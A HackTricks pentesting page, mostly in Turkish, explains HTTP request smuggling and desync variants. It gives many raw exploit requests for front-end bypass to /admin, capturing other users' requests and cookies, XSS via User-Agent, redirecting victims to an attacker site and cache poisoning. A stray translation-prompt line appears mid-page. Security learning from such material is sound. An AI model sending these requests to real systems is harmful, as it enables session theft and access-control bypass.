hacktricks/src/pentesting-web/http-request-smuggling

HTTP Request Smuggling / HTTP Desync Attack

{{#include ../../banners/hacktricks-training.md}}

Ne olduğu

Bu açıklık, front-end proxy'ler ile back-end sunucu arasında bir desenronizasyon oluştuğunda ortaya çıkar; bu durum bir saldırganın HTTP bir istek göndermesine izin verir; bu istek front-end proxy'ler (load balancer/reverse-proxy) tarafından tek bir istek olarak, back-end sunucu tarafından ise 2 istek olarak yorumlanır.
Bu, bir kullanıcının sonraki back-end sunucuya gelen isteği değiştirmesine olanak sağlar.

Teori

RFC Specification (2161)

Eğer bir mesaj hem Transfer-Encoding header alanına hem de Content-Length header alanına sahipse, ikincisi göz ardı edilmelidir.

Content-Length

Content-Length entity header, alıcıya gönderilen entity-body'nin bayt cinsinden boyutunu gösterir.

Transfer-Encoding: chunked

Transfer-Encoding header, payload gövdesini kullanıcıya güvenli bir şekilde aktarmak için kullanılan encoding biçimini belirtir.
Chunked, büyük verilerin bir dizi chunk halinde gönderildiği anlamına gelir.

Gerçeklik

Front-End (bir load-balancer / Reverse Proxy), Content-Length veya Transfer-Encoding header'ını işlerken, Back-end sunucu diğerini işlediğinde iki sistem arasında bir desenronizasyon oluşur.
Bu çok kritik olabilir çünkü bir saldırgan reverse proxy'ye tek bir istek gönderebilir ve bu istek back-end sunucu tarafından 2 farklı istek olarak yorumlanır. Bu tekniğin tehlikesi, back-end sunucunun enjekte edilen 2. isteği, sanki bir sonraki istemciden gelmiş gibi yorumlamasında ve o istemcinin gerçek isteğinin enjekte edilen isteğin parçası haline gelmesinde yatar.

Özellikler

HTTP'de unutmayın ki yeni satır karakteri 2 byte'tan oluşur:

  • Content-Length: Bu header, isteğin gövdesindeki bayt sayısını belirtmek için onluk (decimal) bir sayı kullanır. Gövde son karakterde biter, isteğin sonunda yeni bir satır gerekli değildir.
  • Transfer-Encoding: Bu header, gövdede bir sonraki chunk'ın bayt sayısını belirtmek için onaltılık (hexadecimal) bir sayı kullanır. Chunk bir yeni satır ile bitmelidir, fakat bu yeni satır uzunluk göstergesi tarafından hesaba katılmaz. Bu transfer yöntemi, 0 boyutunda bir chunk ile ve ardından 2 yeni satırla sona ermelidir.
  • Connection: Deneyimlerime göre request smuggling'in ilk isteğinde Connection: keep-alive kullanılması tavsiye edilir.

Visible - Hidden

HTTP/1.1 ile ilgili temel sorun, tüm isteklerin aynı TCP soketinde gitmesi; bu yüzden iki sistemi alan taleplerde bir uyumsuzluk (discrepancy) bulunursa, tek bir isteğin son backend tarafından 2 farklı istek (veya daha fazlası) olarak algılanması mümkündür.

This blog post desync saldırılarını WAF'lar tarafından tespit edilmeyecek şekilde bulmak için yeni yöntemler önerir. Bunun için Visible vs Hidden davranışlarını sunar. Bu durumda amaç, aslında herhangi bir şeyi exploit etmeden desync'e neden olabilecek tekniklerle yanıtlar arasındaki uyumsuzlukları aramaktır.

Örneğin, normal Host header ve " host" header ile bir istek göndermek; eğer backend bu isteğe karşı şikayet ediyorsa (belki " host" değerinin yanlış olması nedeniyle) bu, front-end'in " host" header'ını görmemiş olması, oysa final backend'in bunu kullanmış olması anlamına gelebilir; bu da front-end ile backend arasında muhtemel bir desync gösterir.

Bu bir Hidden-Visible uyumsuzluğu olur.

Eğer front-end " host" header'ını dikkate almış ama backend almamış olsaydı, bu bir Visible-Hidden durumu olabilirdi.

Örneğin, bu durum AWS ALB'yi front-end, IIS'i backend olarak kullanırken desync'leri keşfetmeye izin verdi. Çünkü "Host: foo/bar" gönderildiğinde ALB 400, Server; awselb/2.0 döndürdü, ama "Host : foo/bar" gönderildiğinde 400, Server: Microsoft-HTTPAPI/2.0 döndürdü; bu backend'in yanıt gönderdiğini gösteriyordu. Bu bir Hidden-Visible (H-V) durumuydu.

Bu durum AWS tarafında düzeltilmemiştir, ancak routing.http.drop_invalid_header_fields.enabled ve routing.http.desync_mitigation_mode = strictest ayarlanarak önlenebilir.

Temel Örnekler

Tip

Bunu Burp Suite ile exploit etmeye çalışırken repeater'da Update Content-Length ve Normalize HTTP/1 line endings seçeneklerini devre dışı bırakın çünkü bazı gadget'lar yeni satırlar, carriage return ve bozuk content-length'leri kullanır.

HTTP request smuggling saldırıları, front-end ve back-end sunucuların Content-Length (CL) ve Transfer-Encoding (TE) header'larını nasıl yorumladıklarındaki uyumsuzlukları kullanan belirsiz (ambiguous) istekler gönderilerek hazırlanır. Bu saldırılar başlıca CL.TE, TE.CL ve TE.TE olarak ortaya çıkar. Her tip, front-end ve back-end sunucularının bu header'lara nasıl öncelik verdiğinin benzersiz bir kombinasyonunu temsil eder. Açıklıklar, sunucuların aynı isteği farklı şekilde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.

ıklık Tiplerine Temel Örnekler

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

Önceki tabloya TE.0 tekniğini eklemelisiniz, CL.0 tekniğine benzer fakat Transfer-Encoding kullanır.

CL.TE Açığı (Front-End tarafından Content-Length, Back-End tarafından Transfer-Encoding kullanılması)

  • Front-End (CL): İsteği Content-Length header'ına göre işler.

  • Back-End (TE): İsteği Transfer-Encoding header'ına göre işler.

  • Saldırı Senaryosu:

  • Saldırgan, Content-Length header değerinin gerçek içerik uzunluğuyla uyuşmadığı bir istek gönderir.

  • Front-end sunucu, Content-Length değerine dayanarak tüm isteği back-end'e iletir.

  • Back-end sunucu Transfer-Encoding: chunked header'ını esas alarak isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Açığı (Front-End tarafından Transfer-Encoding, Back-End tarafından Content-Length kullanılması)

  • Front-End (TE): İsteği Transfer-Encoding header'ına göre işler.

  • Back-End (CL): İsteği Content-Length header'ına göre işler.

  • Saldırı Senaryosu:

  • Saldırgan, chunk boyutu (7b) ile gerçek içerik uzunluğu (Content-Length: 4) uyumsuz olan chunked bir istek gönderir.

  • Front-end sunucu Transfer-Encodinge uyarak tüm isteği back-end'e iletir.

  • Back-end sunucu Content-Lengthi dikkate alarak sadece isteğin ilk kısmını (7b bayt) işler ve kalan kısmı istem dışı bir sonraki isteğin parçası olarak bırakır.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Açığı (Her iki tarafın da Transfer-Encoding desteklediği, obfuskasyonla)

  • Sunucular: Her iki taraf da Transfer-Encodingi destekler, fakat biri obfuskasyon nedeniyle bunu tanıyamayacak şekilde kandırılabilir.

  • Saldırı Senaryosu:

  • Saldırgan, obfuskasyon içeren Transfer-Encoding header'ları ile bir istek gönderir.

  • Hangi sunucunun (front-end veya back-end) obfuskasyonu tanımadığına bağlı olarak CL.TE veya TE.CL açığından biri kullanılabilir.

  • Bir sunucu tarafından işlenmeyen istek parçası, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Senaryosu (Content-Length her iki tarafça kullanılıyor)

  • Her iki sunucu da isteği yalnızca Content-Length header'ına göre işler.
  • Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu aynı şekilde yorumlar.
  • Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Senaryosu

  • Content-Length header'ının mevcut olduğu ve sıfır olmayan bir değere sahip olduğu durumları ifade eder; bu, istek gövdesinin içerik barındırdığını gösterir. Back-end Content-Length header'ını yok sayar (sıfır olarak işlenir), fakat front-end bunu ayrıştırır.
  • Smuggling saldırılarını anlamak ve oluşturmak için önemlidir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
  • Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Senaryosu

  • Öncekine benzer ama TE kullanılarak yapılır.
  • Teknik reported here
  • Örnek:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Senaryo

Bir 0.CL durumunda bir istek aşağıdaki gibi bir Content-Length ile gönderilir:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Ve ön uç Content-Length'i dikkate almadığı için yalnızca ilk isteği backend'e gönderir (örnekte 7'ye kadar). Ancak backend Content-Length'i görür ve ön uç zaten yanıtı beklediği için asla gelmeyen bir gövdeyi bekler.

Ancak, eğer backend'e gönderilebilecek ve isteğin gövdesi gelmeden yanıtlanan bir istek varsa, bu kilitlenme oluşmaz. Örneğin IIS'de bu, /con gibi yasaklı kelimelere gönderilen isteklerde olur (check the documentation), bu şekilde ilk istek doğrudan yanıtlanır ve ikinci istek mağdurun isteğini içerecektir:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Bu, bir desync'e neden olmak için kullanışlıdır, ancak bugüne kadar herhangi bir etkisi olmadı.

Ancak yazı, bunun için 0.CL attack into a CL.0 with a double desync dönüştürme yoluyla bir çözüm sunuyor.

Web sunucusunu bozma

Bu teknik, başlangıç HTTP verileri okunurken break a web server while reading the initial HTTP data fakat without closing the connection mümkün olan senaryolarda da kullanışlıdır. Bu durumda, HTTP isteğinin body'si next HTTP request olarak kabul edilecektir.

Örneğin, this writeup'de açıklandığı gibi, Werkzeug'te bazı Unicode karakterleri göndermek mümkündü ve bu sunucuyu break yapıyordu. Ancak eğer HTTP bağlantısı Connection: keep-alive başlığıyla oluşturulduysa, isteğin body'si okunmayacak ve bağlantıık kalacaktır; bu yüzden isteğin body'si next HTTP request olarak değerlendirilecektir.

Hop-by-hop headers ile zorlama

Hop-by-hop headers'ı kötüye kullanarak proxy'ye delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse talimatı verebilirsiniz.

Connection: Content-Length

Daha fazla bilgi için hop-by-hop headers hakkında bakınız:

{{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}}

HTTP Request Smuggling'ı Bulma

HTTP request smuggling zafiyetlerini tespit etmek sıklıkla zamanlama teknikleriyle yapılabilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu teknikler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için kullanışlıdır. Bu yöntemlerin yanı sıra, bu tür zafiyetleri bulmak için kullanılabilecek başka stratejiler ve araçlar da vardır:

Zamanlama Teknikleri ile CL.TE Zafiyetlerini Bulma

  • Yöntem:

  • Uygulama zayıfsa, arka uç sunucusunun ek veri beklemesine neden olacak bir istek gönderin.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Gözlem:

  • Ön uç sunucu isteği Content-Length temelinde işler ve mesajı erken keser.

  • Arka uç sunucu, chunked bir mesaj beklediği için hiçbir zaman gelmeyen bir sonraki chunk'ı bekler ve bu gecikmeye yol açar.

  • Göstergeler:

  • Yanıtta zaman aşımı veya uzun gecikmeler.

  • Arka uç sunucudan 400 Bad Request hatası almak, bazen detaylı sunucu bilgisi ile birlikte.

Zamanlama Teknikleri ile TE.CL Zafiyetlerini Bulma

  • Yöntem:

  • Uygulama zayıfsa, arka uç sunucusunun ek veri beklemesine neden olacak bir istek gönderin.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Gözlem:
  • Ön uç sunucu isteği Transfer-Encoding temelinde işler ve tüm mesajı iletir.
  • Arka uç sunucu Content-Length temelinde bir mesaj beklediği için hiçbir zaman gelmeyen ek verileri bekler ve gecikme oluşur.

Zafiyetleri Bulmak İçin Diğer Yöntemler

  • Farklı Yanıt Analizi:
  • İsteğin biraz farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmeyen şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu, bir ayrıştırma uyuşmazlığına işaret eder.
  • Otomatik Araçlar Kullanmak:
  • Burp Suite'in 'HTTP Request Smuggler' uzantısı gibi araçlar, çeşitli belirsiz istek biçimleri göndererek ve yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
  • Content-Length Değişkenlik Testleri:
  • Gerçek içerik uzunluğuyla uyuşmayan farklı Content-Length değerleri içeren istekler gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin.
  • Transfer-Encoding Değişkenlik Testleri:
  • Obfuskasyona uğramış veya hatalı Transfer-Encoding başlıkları içeren istekler gönderin ve ön uç ile arka uç sunucuların bu manipülasyonlara nasıl farklı yanıt verdiğini izleyin.

Expect: 100-continue başlığı

Bu başlığın bir http desync'i istismar etmede nasıl yardımcı olabileceğini inceleyin:

{{#ref}} ../../network-services-pentesting/pentesting-web/special-http-headers.md {{#endref}}

HTTP Request Smuggling Zafiyet Testi

Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak çok önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin / için gönderilen bir isteğin 404 yanıtı üretmesini sağlamak. Daha önce Basic Examples kısmında tartışılan CL.TE ve TE.CL örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen istemci isteğini zehirleyerek 404 yanıtı elde etmenin nasıl yapılacağını gösterir.

Önemli Hususlar

Başka isteklerle müdahale ederek request smuggling zafiyetlerini test ederken aklınızda bulundurun:

  • Ayrı Ağ Bağlantıları: "attack" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her ikisi için aynı bağlantının kullanılması zafiyetin varlığını doğrulamaz.
  • Tutarlı URL ve Parametreler: Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle URL ve parametrelere göre istekleri belirli arka uç sunuculara yönlendirir. Bunların eşleşmesi, her iki isteğin aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için gerekli bir koşuldur.
  • Zamanlama ve Yarış Durumları: "Attack" isteğinden kaynaklanan müdahaleyi tespit etmek için gönderilen "normal" istek, uygulamadaki diğer eşzamanlı isteklerle yarışır. Bu nedenle "attack" isteğinin hemen ardından "normal" isteği gönderin. Yoğun uygulamalarda kesin bir doğrulama için birden fazla deneme gerekebilir.
  • Load Balancing Zorlukları: Load balancer görevi gören ön uç sunucular istekleri farklı arka uç sistemlerine dağıtabilir. Eğer "attack" ve "normal" istekler farklı sistemlere düşerse saldırı başarılı olmaz. Bu load balancing durumu, zafiyeti doğrulamak için birkaç deneme gerektirebilir.
  • İstemeden Kullanıcı Etkisi: Eğer saldırınız başka bir kullanıcının isteğini (tespit için gönderdiğiniz "normal" istek olmayan) kazara etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli testler diğer kullanıcıları rahatsız edebileceğinden dikkatli olunmalıdır.

HTTP/1.1 pipelining artefaktları ile gerçek request smuggling'i ayırt etme

Bağlantı yeniden kullanımı (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında kolayca "smuggling" yanılsamaları üretebilir. Zararsız istemci tarafı artefaktları ile gerçek sunucu tarafı desync'ini ayırt etmeyi öğrenin.

Pipelining neden klasik false positive'lara yol açar

HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri ile yanıtları aynı akışta birleştirir. Pipelining'de istemci birden fazla isteği art arda gönderir ve sıralı yanıtlar almayı bekler. Yaygın bir false-positive durumu, bozuk bir CL.0 tarzı payload'u tek bir bağlantıda iki kez yeniden göndermektir:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Çevirmemi istediğiniz src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini gönderin.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Eğer server hatalı Content_Length'i yok saydıysa, FE↔BE desync olmaz. Reuse durumunda, client aslında bu byte-stream'i gönderdi; server bunu iki bağımsız requests olarak parse etti:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. You just desynced your client from the server framing.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
  • In Turbo Intruder, set requestsPerConnection=1 and pipeline=False.
  • If the behavior disappears, it was likely client-side pipelining, unless youre dealing with connection-locked/stateful targets or client-side desync.
  1. HTTP/2 nested-response check
  • Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, youve proven a backend parsing/desync bug instead of a pure client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
  • See PortSwigger "BrowserPowered Desync Attacks" for the connection-locked technique.
  1. State probes
  • Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
  • Burp "HTTP Request Smuggler" includes a connectionstate probe that automates this.
  1. Visualize the wire
  • Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

Connectionlocked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • Prove the server-side bug
  • Use the HTTP/2 nested-response check, or
  • Use partial-requests to show the FE only reuses upstream when the client does.
  • Show real impact even if direct cross-user socket abuse is blocked:
  • Cache poisoning: desync aracılığıyla paylaşılan cache'leri zehirleyin, böylece responses diğer kullanıcıları etkiler.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connectionstate attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md

{{#endref}}

Clientside desync constraints

If youre targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks wont work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

{{#ref}} browser-http-request-smuggling.md {{#endref}}

Tooling to help decide

Note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE saldırısında, ilk istek için Content-Length başlığı kullanılırken, sonraki gömülü istek Transfer-Encoding: chunked başlığını kullanır. front-end proxy ilk POST isteğini işler ancak gömülü GET /admin isteğini incelemez; bu /admin yoluna yetkisiz erişime izin verir.

TE.CL Örneği

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Tersine, TE.CL saldırısında başlangıçtaki POST isteği Transfer-Encoding: chunked kullanır ve ardından gömülü istek Content-Length başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlenmiş GET /admin isteğini gözden kaçırır ve kazara sınırlı /admin yoluna erişim sağlar.

Ön uç istek yeniden yazımını ortaya çıkarma

Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir ön uç sunucusu kullanır. Tipik bir değişiklik, istemcinin IP adresini arka uca iletmek için X-Forwarded-For: <IP of the client> gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak hayati olabilir; çünkü bu, korumaları atlatma veya gizlenmiş bilgileri veya uç noktalarıığa çıkarma yollarını ortaya çıkarabilir.

Bir proxy'nin isteği nasıl değiştirdiğini incelemek için, arka uç sunucusunun yanıtında geri döndürdüğü bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdakine benzer bir istek oluşturun:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Bu yapıda, sonraki istek bileşenleri search= sonrasına eklenir; bu parametre yanıt içinde yansıtılır. Bu yansıtma sonraki isteğin headers'larınıığa çıkaracaktır.

İç içe geçen isteğin Content-Length header'ını gerçek içerik uzunluğuyla hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.

Bu teknik TE.CL vulnerability bağlamında da uygulanabilir, ancak isteğin search=\r\n0 ile sonlanması gerekir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.

Bu yöntem esasen front-end proxy tarafından yapılan istek değişikliklerini anlamaya yarar; özünde kendi kendine yapılan bir inceleme gerçekleştirir.

Diğer kullanıcıların isteklerini yakalama

Bir POST işlemi sırasında belirli bir isteği bir parametrenin değeri olarak ekleyerek bir sonraki kullanıcının isteklerini yakalamak mümkündür. Bunun nasıl yapılabileceği şöyle:

Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek, sonraki istemcinin isteğini depolayabilirsiniz:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Bu senaryoda, yorum parametresi halka açık bir sayfada bir gönderinin yorum bölümünün içeriğini depolamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.

Ancak bu tekniğin sınırlamaları vardır. Genellikle, smuggled request içinde kullanılan parametre ayırıcıya kadar olan veriyi yakalar. URL-encoded form gönderimlerinde, bu ayırıcı & karakteridir. Bu, kurban kullanıcının isteğinden yakalanan içeriğin ilk & karakterinde (bu karakter sorgu dizesinin bir parçası bile olabilir) sona ereceği anlamına gelir.

Ayrıca, bu yaklaşımın TE.CL açığı olan durumlarda da uygulanabilir olduğunu belirtmek gerekir. Bu tür durumlarda, istek search=\r\n0 ile bitmelidir. Yeni satır karakterlerinden bağımsız olarak, değerler search parametresine eklenecektir.

Reflected XSS'i exploit etmek için HTTP request smuggling kullanma

HTTP Request Smuggling, Reflected XSS'e karşı savunmasız web sayfalarını exploit etmek için kullanılabilir ve önemli avantajlar sağlar:

  • Hedef kullanıcılarla etkileşim gerekmez.
  • XSS'in normalde ulaşılamayan kısımlarında, örneğin HTTP request headers gibi, exploit edilmesine izin verir.

User-Agent header aracılığıyla Reflected XSS'e duyarlı bir web sitesi durumunda, aşağıdaki payload bu açığın nasıl exploit edileceğini gösterir:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload, zafiyeti şu şekilde istismar etmek üzere yapılandırılmıştır:

  1. İlk olarak tipik görünen bir POST isteği başlatılır; smuggling'in başladığını belirtmek için Transfer-Encoding: chunked başlığı kullanılır.
  2. Ardından chunked mesaj gövdesinin sonunu işaret eden bir 0 gönderilir.
  3. Daha sonra, içine bir betik enjekte edilen User-Agent başlığı bulunan smuggled bir GET isteği tanıtılır: <script>alert(1)</script>. Sunucu bu sonraki isteği işlediğinde XSS tetiklenir.

User-Agent'ı smuggling yoluyla manipüle ederek, payload normal istek kısıtlamalarını atlatır ve böylece Reflected XSS zafiyetini standart olmayan ama etkili bir şekilde istismar eder.

HTTP/0.9

Caution

Kullanıcı içeriği, text/plain gibi bir Content-type ile yanıt içinde yansıtılırsa XSS'in yürütülmesi engellenir. Eğer sunucu HTTP/0.9'ı destekliyorsa bunu atlatmak mümkün olabilir!

HTTP/0.9 sürümü 1.0'dan önceydi ve yalnızca GET metodunu kullanır ve headers ile yanıt vermez, sadece body ile yanıt verir.

In this writeup, bu durum request smuggling ile ve kullanıcının girdisini yanıt olarak döndürecek bir zayıf endpoint kullanılarak suistimal edildi; smuggle edilen HTTP/0.9 isteğinde yansıtılacak parametre fake HTTP/1.1 response (with headers and body) içeriyordu, bu yüzden yanıt Content-Type'ı text/html olan geçerli çalıştırılabilir JS kodu içeriyordu.

Exploiting On-site Redirects with HTTP Request Smuggling

Uygulamalar sıklıkla bir URL'den diğerine yönlendirirken redirect URL'sinde hostname olarak Host header'ını kullanır. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, sonu slash ile bitmeyen bir klasör isteği, slash eklemek için bir yönlendirme ile sonuçlanır:

GET /home HTTP/1.1
Host: normal-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Görünüşte zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırgan tarafından kontrol edilen bir web sitesine yönlendirilmesine neden olabilir:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Bu senaryoda, bir kullanıcının bir JavaScript dosyası isteği ele geçirilir. Saldırgan, yanıt olarak kötü amaçlı JavaScript sunarak kullanıcıyı potansiyel olarak compromize edebilir.

HTTP Request Smuggling ile Web Cache Poisoning'in istismarı

Web cache poisoning, herhangi bir bileşenin front-end infrastructure caches content, genellikle performansı artırmak için, olması durumunda gerçekleştirilebilir. Sunucunun yanıtını manipüle ederek poison the cache mümkün olur.

Daha önce, sunucu yanıtlarının 404 hatası döndürecek şekilde nasıl değiştirilebileceğini gördük (refer to Basic Examples). Benzer şekilde, sunucuyu /static/include.js isteğine /index.html içeriği döndürecek şekilde kandırmak mümkündür. Sonuç olarak, /static/include.js içeriği önbellekte /index.html ile değiştirilir ve /static/include.js kullanıcılar için erişilemez hale gelir; bu da potansiyel olarak bir Denial of Service (DoS) durumuna yol açabilir.

